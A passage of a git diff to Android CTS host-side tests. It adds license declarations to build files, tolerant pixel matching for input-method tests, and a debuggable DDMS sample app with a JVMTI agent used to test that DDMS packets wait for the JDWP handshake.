+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsInputMethod1",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/inputmethodservice/deviceside/ime2/Android.bp b/hostsidetests/inputmethodservice/deviceside/ime2/Android.bp
index 875c3bc..3426b86 100644
--- a/hostsidetests/inputmethodservice/deviceside/ime2/Android.bp
+++ b/hostsidetests/inputmethodservice/deviceside/ime2/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsInputMethod2",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/inputmethodservice/deviceside/lib/Android.bp b/hostsidetests/inputmethodservice/deviceside/lib/Android.bp
index 01ca2c0..0ec523f 100644
--- a/hostsidetests/inputmethodservice/deviceside/lib/Android.bp
+++ b/hostsidetests/inputmethodservice/deviceside/lib/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_helper_library {
     name: "CtsInputMethodServiceLib",
     srcs: ["src/**/*.java"],
diff --git a/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/BitmapImage.java b/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/BitmapImage.java
index 9edd60c..34b3add 100644
--- a/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/BitmapImage.java
+++ b/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/BitmapImage.java
@@ -17,6 +17,7 @@
 package android.inputmethodservice.cts.ime;
 
 import android.graphics.Bitmap;
+import android.graphics.Color;
 
 import androidx.annotation.AnyThread;
 import androidx.annotation.ColorInt;
@@ -26,6 +27,13 @@
  * A utility class that represents A8R8G8B bitmap as an integer array.
  */
 final class BitmapImage {
+    /**
+     * Tolerance level between the expected color and the actual color in each color channel.
+     *
+     * <p>See Bug 174534092 about why we ended up having this.</p>
+     */
+    private static final int TOLERANCE = 4;
+
     @NonNull
     private final int[] mPixels;
     private final int mWidth;
@@ -91,7 +99,22 @@
     }
 
     /**
-     * Checks if the same image can be found in the specified {@link BitmapImage}
+     * Compares two given pixels to determine whether those two pixels are considered to be
+     * the same within {@link #TOLERANCE}.
+     *
+     * @param lhs a color integer to be compared.
+     * @param rhs another color integer to be compared.
+     * @return {@true} if two given pixels are the same within {@link #TOLERANCE}.
+     */
+    private static boolean robustMatchInternal(@ColorInt int lhs, @ColorInt int rhs) {
+        return lhs == rhs || (Math.abs(Color.red(lhs) - Color.red(rhs)) <= TOLERANCE
+                && Math.abs(Color.green(lhs) - Color.green(rhs)) <= TOLERANCE
+                && Math.abs(Color.blue(lhs) - Color.blue(rhs)) <= TOLERANCE);
+    }
+
+    /**
+     * Checks if the same image can be found in the specified {@link BitmapImage} within a certain
+     * error margin.
      *
      * @param targetImage {@link BitmapImage} to be checked.
      * @param offsetX X offset in the {@code targetImage} used when comparing.
@@ -99,7 +122,7 @@
      * @return
      */
     @AnyThread
-    boolean match(@NonNull BitmapImage targetImage, int offsetX, int offsetY) {
+    boolean robustMatch(@NonNull BitmapImage targetImage, int offsetX, int offsetY) {
         final int targetWidth = targetImage.getWidth();
         final int targetHeight = targetImage.getHeight();
 
@@ -113,7 +136,7 @@
                 if (targetY < 0 || targetHeight <= targetY) {
                     return false;
                 }
-                if (targetImage.getPixel(targetX, targetY) != getPixel(x, y)) {
+                if (!robustMatchInternal(targetImage.getPixel(targetX, targetY), getPixel(x, y))) {
                     return false;
                 }
             }
diff --git a/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/Watermark.java b/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/Watermark.java
index e3fd024..5d0cb0c 100644
--- a/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/Watermark.java
+++ b/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/Watermark.java
@@ -204,7 +204,7 @@
         // Search from the bottom line with an assumption that the IME is shown at the bottom.
         for (int offsetY = targetImage.getHeight() - 1; offsetY >= 0; --offsetY) {
             for (int offsetX = 0; offsetX < targetImage.getWidth(); ++offsetX) {
-                if (mImage.match(targetImage, offsetX, offsetY)) {
+                if (mImage.robustMatch(targetImage, offsetX, offsetY)) {
                     return true;
                 }
             }
diff --git a/hostsidetests/inputmethodservice/deviceside/provider/Android.bp b/hostsidetests/inputmethodservice/deviceside/provider/Android.bp
index efbf893..2935fe8 100644
--- a/hostsidetests/inputmethodservice/deviceside/provider/Android.bp
+++ b/hostsidetests/inputmethodservice/deviceside/provider/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsInputMethodServiceEventProvider",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/inputmethodservice/hostside/Android.bp b/hostsidetests/inputmethodservice/hostside/Android.bp
index c954414..a3292ba 100644
--- a/hostsidetests/inputmethodservice/hostside/Android.bp
+++ b/hostsidetests/inputmethodservice/hostside/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsInputMethodServiceHostTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/OWNERS b/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/OWNERS
new file mode 100644
index 0000000..fb8017c
--- /dev/null
+++ b/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/OWNERS
@@ -0,0 +1 @@
+per-file *InlineSuggestion* = file:platform/frameworks/base:/core/java/android/service/autofill/OWNERS
diff --git a/hostsidetests/jdwpsecurity/Android.bp b/hostsidetests/jdwpsecurity/Android.bp
index 9eedf9a..1575dbe 100644
--- a/hostsidetests/jdwpsecurity/Android.bp
+++ b/hostsidetests/jdwpsecurity/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJdwpSecurityHostTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/jdwpsecurity/app/Android.bp b/hostsidetests/jdwpsecurity/app/Android.bp
index 93761b6..672d4f1 100644
--- a/hostsidetests/jdwpsecurity/app/Android.bp
+++ b/hostsidetests/jdwpsecurity/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_helper_library {
     name: "CtsJdwpApp",
     srcs: ["**/*.java"],
diff --git a/hostsidetests/jdwptunnel/Android.bp b/hostsidetests/jdwptunnel/Android.bp
index 62b0ed0..b32d2ff 100644
--- a/hostsidetests/jdwptunnel/Android.bp
+++ b/hostsidetests/jdwptunnel/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJdwpTunnelHostTestCases",
     defaults: ["cts_defaults"],
@@ -29,6 +33,7 @@
         ":jdi-support",
         ":CtsJdwpTunnelDebuggableSampleApp",
         ":CtsJdwpTunnelProfileableSampleApp",
+        ":CtsJdwpTunnelDdmsSampleApp",
     ],
 
     // Tag this module as a cts test artifact
diff --git a/hostsidetests/jdwptunnel/sampleapps/ddmsapp/Android.bp b/hostsidetests/jdwptunnel/sampleapps/ddmsapp/Android.bp
new file mode 100644
index 0000000..2ca5190
--- /dev/null
+++ b/hostsidetests/jdwptunnel/sampleapps/ddmsapp/Android.bp
@@ -0,0 +1,84 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_library_shared {
+    name: "libDdmsTestAgent",
+
+    srcs: [
+      "agent/ddms_agent.cc",
+    ],
+
+    header_libs: [
+        "jni_headers",
+        "libopenjdkjvmti_headers",
+    ],
+
+    shared_libs: [
+        "liblog",
+        "libdl",
+        "libz",
+    ],
+
+    // Platform libraries  that may not be available to apps. Link in statically.
+    static_libs: ["libbase_ndk"],
+
+    strip: {
+        keep_symbols: true,
+    },
+
+    cflags: [
+        "-Wall",
+        "-Wextra",
+        "-Werror",
+        "-Wunreachable-code",
+        "-Wredundant-decls",
+        "-Wshadow",
+        "-Wunused",
+        "-Wimplicit-fallthrough",
+        "-Wfloat-equal",
+        "-Wint-to-void-pointer-cast",
+        "-Wused-but-marked-unused",
+        "-Wdeprecated",
+        "-Wunreachable-code-break",
+        "-Wunreachable-code-return",
+        "-g",
+        "-O0",
+    ],
+
+    sdk_version: "current",
+    compile_multilib: "both",
+    stl: "c++_static",
+}
+
+android_test_helper_app {
+    name: "CtsJdwpTunnelDdmsSampleApp",
+
+    dex_preopt: {
+        enabled: false,
+    },
+
+    optimize: {
+        enabled: false,
+    },
+
+    srcs: ["src/**/*.java"],
+    jni_libs: ["libDdmsTestAgent"],
+
+    compile_multilib: "both",
+    sdk_version: "current",
+}
diff --git a/hostsidetests/jdwptunnel/sampleapps/ddmsapp/AndroidManifest.xml b/hostsidetests/jdwptunnel/sampleapps/ddmsapp/AndroidManifest.xml
new file mode 100755
index 0000000..7291815
--- /dev/null
+++ b/hostsidetests/jdwptunnel/sampleapps/ddmsapp/AndroidManifest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.jdwptunnel.sampleapp.ddms">
+
+    <application android:debuggable="true">
+        <activity android:name=".DdmsSampleDeviceActivity"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+
+</manifest>
+
diff --git a/hostsidetests/jdwptunnel/sampleapps/ddmsapp/agent/ddms_agent.cc b/hostsidetests/jdwptunnel/sampleapps/ddmsapp/agent/ddms_agent.cc
new file mode 100644
index 0000000..0c14c83
--- /dev/null
+++ b/hostsidetests/jdwptunnel/sampleapps/ddmsapp/agent/ddms_agent.cc
@@ -0,0 +1,87 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <jni.h>
+#include <jvmti.h>
+
+#include <string_view>
+
+namespace ddms_agent {
+
+using DisablePolicy = jvmtiError (*)(jvmtiEnv*);
+static constexpr std::string_view kDisablePolicyName =
+    "com.android.art.misc.disable_hidden_api_enforcement_policy";
+
+static jvmtiEnv* jvmti_env;
+DisablePolicy disable_ext;
+
+template <typename T>
+static void Dealloc(T* t) {
+  jvmti_env->Deallocate(reinterpret_cast<unsigned char*>(t));
+}
+
+template <typename T, typename... Rest>
+static void Dealloc(T* t, Rest... rs) {
+  Dealloc(t);
+  Dealloc(rs...);
+}
+
+static void DeallocParams(jvmtiParamInfo* params, jint n_params) {
+  for (jint i = 0; i < n_params; i++) {
+    Dealloc(params[i].name);
+  }
+}
+
+void* GetExtension(const std::string_view& name) {
+  // Get the extensions.
+  jint n_ext = 0;
+  void* result = nullptr;
+  jvmtiExtensionFunctionInfo* infos = nullptr;
+  if (jvmti_env->GetExtensionFunctions(&n_ext, &infos) != JVMTI_ERROR_NONE) {
+    return nullptr;
+  }
+  for (jint i = 0; i < n_ext; i++) {
+    jvmtiExtensionFunctionInfo* cur_info = &infos[i];
+    if (name == std::string_view(cur_info->id)) {
+      result = reinterpret_cast<void*>(cur_info->func);
+    }
+    // Cleanup the cur_info
+    DeallocParams(cur_info->params, cur_info->param_count);
+    Dealloc(cur_info->id, cur_info->short_description, cur_info->params, cur_info->errors);
+  }
+  // Cleanup the array.
+  Dealloc(infos);
+  if (result == nullptr) {
+    return nullptr;
+  }
+  return result;
+}
+
+extern "C" JNIEXPORT jint JNICALL Agent_OnAttach(JavaVM* vm, char*, void*) {
+  vm->GetEnv(reinterpret_cast<void**>(&jvmti_env), JVMTI_VERSION_1_0);
+  disable_ext = reinterpret_cast<DisablePolicy>(GetExtension(kDisablePolicyName));
+  if (disable_ext == nullptr) {
+    return JNI_ERR;
+  }
+  return JNI_OK;
+}
+
+extern "C" JNIEXPORT jint JNICALL
+Java_android_jdwptunnel_sampleapp_ddms_DdmsSampleDeviceActivity_ForceNoHiddenapi(JNIEnv*, jclass) {
+  return disable_ext(jvmti_env);
+}
+
+}  // namespace ddms_agent
\ No newline at end of file
diff --git a/hostsidetests/jdwptunnel/sampleapps/ddmsapp/res/layout/sample_layout.xml b/hostsidetests/jdwptunnel/sampleapps/ddmsapp/res/layout/sample_layout.xml
new file mode 100644
index 0000000..5b17c00
--- /dev/null
+++ b/hostsidetests/jdwptunnel/sampleapps/ddmsapp/res/layout/sample_layout.xml
@@ -0,0 +1,19 @@
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+
+</RelativeLayout>
diff --git a/hostsidetests/jdwptunnel/sampleapps/ddmsapp/src/android/jdwptunnel/sampleapp/DdmsSampleDeviceActivity.java b/hostsidetests/jdwptunnel/sampleapps/ddmsapp/src/android/jdwptunnel/sampleapp/DdmsSampleDeviceActivity.java
new file mode 100644
index 0000000..10bcbf9
--- /dev/null
+++ b/hostsidetests/jdwptunnel/sampleapps/ddmsapp/src/android/jdwptunnel/sampleapp/DdmsSampleDeviceActivity.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.jdwptunnel.sampleapp.ddms;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.os.Debug;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Method;
+
+/**
+ * A simple activity which starts a thread that continuously spams DDMS messages.
+ *
+ * <p>This serves as a simple target application/activity get a ddms connection to.
+ */
+public final class DdmsSampleDeviceActivity extends Activity {
+  @Override
+  public void onCreate(Bundle icicle) {
+    try {
+      super.onCreate(icicle);
+      setContentView(R.layout.sample_layout);
+      Debug.attachJvmtiAgent(
+          "libDdmsTestAgent.so", null, DdmsSampleDeviceActivity.class.getClassLoader());
+      if (ForceNoHiddenapi() != 0) {
+        throw new Error("Failed to disable hiddenapi!");
+      }
+      Class<?> chunk_klass = Class.forName("org.apache.harmony.dalvik.ddmc.Chunk");
+      Constructor<?> chunk_cons =
+          chunk_klass.getConstructor(
+              Integer.TYPE, new byte[] {}.getClass(), Integer.TYPE, Integer.TYPE);
+      Class<?> server_klass = Class.forName("org.apache.harmony.dalvik.ddmc.DdmServer");
+      Method send_meth = server_klass.getDeclaredMethod("sendChunk", chunk_klass);
+      // Spin spamming DDMS packets so we can try to lose the race.
+      Thread t =
+          new Thread(
+              () -> {
+                try {
+                  while (true) {
+                    send_meth.invoke(
+                        null,
+                        chunk_cons.newInstance(0xDEADBEEF, new byte[] {0x1, 0x3, 0x3, 0x7}, 0, 4));
+                  }
+                } catch (Exception e) {
+                  throw new Error("Could not send data!", e);
+                }
+              });
+      t.setDaemon(true);
+      t.start();
+    } catch (Exception e) {
+      throw new Error("Failed to send ddm notes!", e);
+    }
+  }
+
+  // Linked by the agent
+  public static native int ForceNoHiddenapi();
+}
diff --git a/hostsidetests/jdwptunnel/sampleapps/debuggableapp/Android.bp b/hostsidetests/jdwptunnel/sampleapps/debuggableapp/Android.bp
index 384ee5f..1e815ab 100644
--- a/hostsidetests/jdwptunnel/sampleapps/debuggableapp/Android.bp
+++ b/hostsidetests/jdwptunnel/sampleapps/debuggableapp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJdwpTunnelDebuggableSampleApp",
 
diff --git a/hostsidetests/jdwptunnel/sampleapps/profileableapp/Android.bp b/hostsidetests/jdwptunnel/sampleapps/profileableapp/Android.bp
index b78236a..2bd5e90 100644
--- a/hostsidetests/jdwptunnel/sampleapps/profileableapp/Android.bp
+++ b/hostsidetests/jdwptunnel/sampleapps/profileableapp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJdwpTunnelProfileableSampleApp",
 
diff --git a/hostsidetests/jdwptunnel/src/android/jdwptunnel/cts/JdwpTunnelTest.java b/hostsidetests/jdwptunnel/src/android/jdwptunnel/cts/JdwpTunnelTest.java
index cbf2303..5fbc913 100644
--- a/hostsidetests/jdwptunnel/src/android/jdwptunnel/cts/JdwpTunnelTest.java
+++ b/hostsidetests/jdwptunnel/src/android/jdwptunnel/cts/JdwpTunnelTest.java
@@ -26,7 +26,6 @@
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
-
 import com.sun.jdi.Bootstrap;
 import com.sun.jdi.ReferenceType;
 import com.sun.jdi.VirtualMachine;
@@ -38,14 +37,14 @@
 import com.sun.jdi.request.ClassPrepareRequest;
 import com.sun.jdi.request.EventRequest;
 import com.sun.jdi.request.EventRequestManager;
-
+import java.io.*;
+import java.net.Socket;
+import java.time.Instant;
+import java.util.Map;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import java.time.Instant;
-import java.util.Map;
-
 /**
  * Host-side tests for setting up a JDWP connection to an app.
  *
@@ -69,6 +68,8 @@
       "android.jdwptunnel.sampleapp.profileable";
     private static final String PROFILEABLE_TEST_APP_ACTIVITY_CLASS_NAME =
       "ProfileableSampleDeviceActivity";
+    private static final String DDMS_TEST_APP_PACKAGE_NAME = "android.jdwptunnel.sampleapp.ddms";
+    private static final String DDMS_TEST_APP_ACTIVITY_CLASS_NAME = "DdmsSampleDeviceActivity";
 
     private ITestDevice mDevice;
 
@@ -76,6 +77,7 @@
     public void setUp() throws Exception {
         installPackage("CtsJdwpTunnelDebuggableSampleApp.apk");
         installPackage("CtsJdwpTunnelProfileableSampleApp.apk");
+        installPackage("CtsJdwpTunnelDdmsSampleApp.apk");
         mDevice = getDevice();
     }
 
@@ -117,10 +119,16 @@
         return port;
     }
 
-    private VirtualMachine startupTest(String packageName, String shortClassName) throws Exception {
+    private String startupForwarding(String packageName, String shortClassName, boolean debug)
+          throws Exception {
         moveToHomeScreen();
-        mDevice.executeShellCommand("cmd activity start-activity -D -W -n " +
-                packageName + "/." + shortClassName);
+        mDevice.executeShellCommand(
+            "cmd activity start-activity "
+                + (debug ? "-D" : "")
+                + " -W -n "
+                + packageName
+                + "/."
+                + shortClassName);
         // Don't keep trying after a minute.
         final Instant deadline = Instant.now().plusSeconds(60);
         String pid = "";
@@ -134,7 +142,11 @@
         }
         String port = forwardJdwp(pid);
         assertTrue(!"".equals(port));
-        return getDebuggerConnection(port);
+        return port;
+    }
+
+    private VirtualMachine startupTest(String packageName, String shortClassName) throws Exception {
+      return getDebuggerConnection(startupForwarding(packageName, shortClassName, true));
     }
 
     /**
@@ -256,4 +268,37 @@
             assertTrue(thrownByGetDebuggerConnection);
         }
     }
+
+    /**
+     * Tests that we don't get any DDMS messages before the handshake.
+     *
+     * <p>Since DDMS can send asynchronous replies it could race with the JDWP handshake. This could
+     * confuse clients. See bug: 178655046
+     */
+    @Test
+    public void testDdmsWaitsForHandshake() throws DeviceNotAvailableException, Exception {
+        String port =
+            startupForwarding(DDMS_TEST_APP_PACKAGE_NAME, DDMS_TEST_APP_ACTIVITY_CLASS_NAME, false);
+        Socket sock = new Socket("localhost", Integer.decode(port).intValue());
+        OutputStream os = sock.getOutputStream();
+        // Let the test spin a bit. Try to lose any race with the app.
+        Thread.sleep(1000);
+        String handshake = "JDWP-Handshake";
+        byte[] handshake_bytes = handshake.getBytes("US-ASCII");
+        os.write(handshake_bytes);
+        os.flush();
+        InputStream is = sock.getInputStream();
+        // Make sure we get the handshake first.
+        for (byte b : handshake_bytes) {
+            assertEquals(b, is.read());
+        }
+
+        // Don't require anything in particular next since lots of things can send
+        // DDMS packets. Since there is no debugger connection we can assert that
+        // it is a DDMS packet at least by looking for a negative id.
+        // Skip the length
+        is.skip(4);
+        // Data sent big-endian so first byte has sign bit.
+        assertTrue((is.read() & 0x80) == 0x80);
+    }
 }
diff --git a/hostsidetests/jvmti/TEST_MAPPING b/hostsidetests/jvmti/TEST_MAPPING
index 70ece58..bc2658c 100644
--- a/hostsidetests/jvmti/TEST_MAPPING
+++ b/hostsidetests/jvmti/TEST_MAPPING
@@ -301,9 +301,15 @@
       "name": "CtsJvmtiRunTest1979HostTestCases"
     },
     {
+      "name": "CtsJvmtiRunTest1981HostTestCases"
+    },
+    {
       "name": "CtsJvmtiRunTest1982HostTestCases"
     },
     {
+      "name": "CtsJvmtiRunTest1983HostTestCases"
+    },
+    {
       "name": "CtsJvmtiRunTest1984HostTestCases"
     },
     {
@@ -367,4 +373,4 @@
       "name": "CtsJvmtiTrackingHostTestCases"
     }
   ]
-}
\ No newline at end of file
+}
diff --git a/hostsidetests/jvmti/allocation-tracking/Android.bp b/hostsidetests/jvmti/allocation-tracking/Android.bp
index dce3d16..b74f19a60 100644
--- a/hostsidetests/jvmti/allocation-tracking/Android.bp
+++ b/hostsidetests/jvmti/allocation-tracking/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiTrackingHostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/allocation-tracking/app/Android.bp b/hostsidetests/jvmti/allocation-tracking/app/Android.bp
index 6e42781..821d21d 100644
--- a/hostsidetests/jvmti/allocation-tracking/app/Android.bp
+++ b/hostsidetests/jvmti/allocation-tracking/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiTrackingDeviceApp",
     dex_preopt: {
diff --git a/hostsidetests/jvmti/attaching/Android.bp b/hostsidetests/jvmti/attaching/Android.bp
index 3d50f4a9..0147b329 100644
--- a/hostsidetests/jvmti/attaching/Android.bp
+++ b/hostsidetests/jvmti/attaching/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiAttachingDeviceApp",
     dex_preopt: {
diff --git a/hostsidetests/jvmti/base/app/Android.bp b/hostsidetests/jvmti/base/app/Android.bp
index 246fc27..3d496e7 100644
--- a/hostsidetests/jvmti/base/app/Android.bp
+++ b/hostsidetests/jvmti/base/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library {
     name: "CtsJvmtiDeviceAppBase",
     srcs: ["**/*.java"],
diff --git a/hostsidetests/jvmti/base/host/Android.bp b/hostsidetests/jvmti/base/host/Android.bp
index 5ea9747..7fda27a 100644
--- a/hostsidetests/jvmti/base/host/Android.bp
+++ b/hostsidetests/jvmti/base/host/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library_host {
     name: "CtsJvmtiHostTestBase",
     srcs: ["**/*.java"],
diff --git a/hostsidetests/jvmti/base/jni/Android.bp b/hostsidetests/jvmti/base/jni/Android.bp
index be7da74..9a6f0c8 100644
--- a/hostsidetests/jvmti/base/jni/Android.bp
+++ b/hostsidetests/jvmti/base/jni/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_library_shared {
     name: "libctsjvmtiagent",
 
diff --git a/hostsidetests/jvmti/base/run-test-based-app/Android.bp b/hostsidetests/jvmti/base/run-test-based-app/Android.bp
index 8d17dd1..190e26f 100644
--- a/hostsidetests/jvmti/base/run-test-based-app/Android.bp
+++ b/hostsidetests/jvmti/base/run-test-based-app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library {
     name: "CtsJvmtiDeviceRunTestAppBase",
     srcs: [
diff --git a/hostsidetests/jvmti/redefining/Android.bp b/hostsidetests/jvmti/redefining/Android.bp
index 7bb3d1f..4816fd8 100644
--- a/hostsidetests/jvmti/redefining/Android.bp
+++ b/hostsidetests/jvmti/redefining/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRedefineClassesHostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/redefining/app/Android.bp b/hostsidetests/jvmti/redefining/app/Android.bp
index f6eaa91..ba87ac9 100644
--- a/hostsidetests/jvmti/redefining/app/Android.bp
+++ b/hostsidetests/jvmti/redefining/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRedefineClassesDeviceApp",
     srcs: ["src/**/*.java"],
diff --git a/hostsidetests/jvmti/run-tests/Android.bp b/hostsidetests/jvmti/run-tests/Android.bp
index 63e2bf7..c96125e 100644
--- a/hostsidetests/jvmti/run-tests/Android.bp
+++ b/hostsidetests/jvmti/run-tests/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_defaults {
     name: "cts-run-jvmti-defaults",
     dex_preopt: {
diff --git a/hostsidetests/jvmti/run-tests/test-1900/Android.bp b/hostsidetests/jvmti/run-tests/test-1900/Android.bp
index 62ed6fa..4b6326f 100644
--- a/hostsidetests/jvmti/run-tests/test-1900/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1900/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1900HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1900/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1900/app/Android.bp
index 7f66aa6..ed12ad7 100644
--- a/hostsidetests/jvmti/run-tests/test-1900/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1900/app/Android.bp
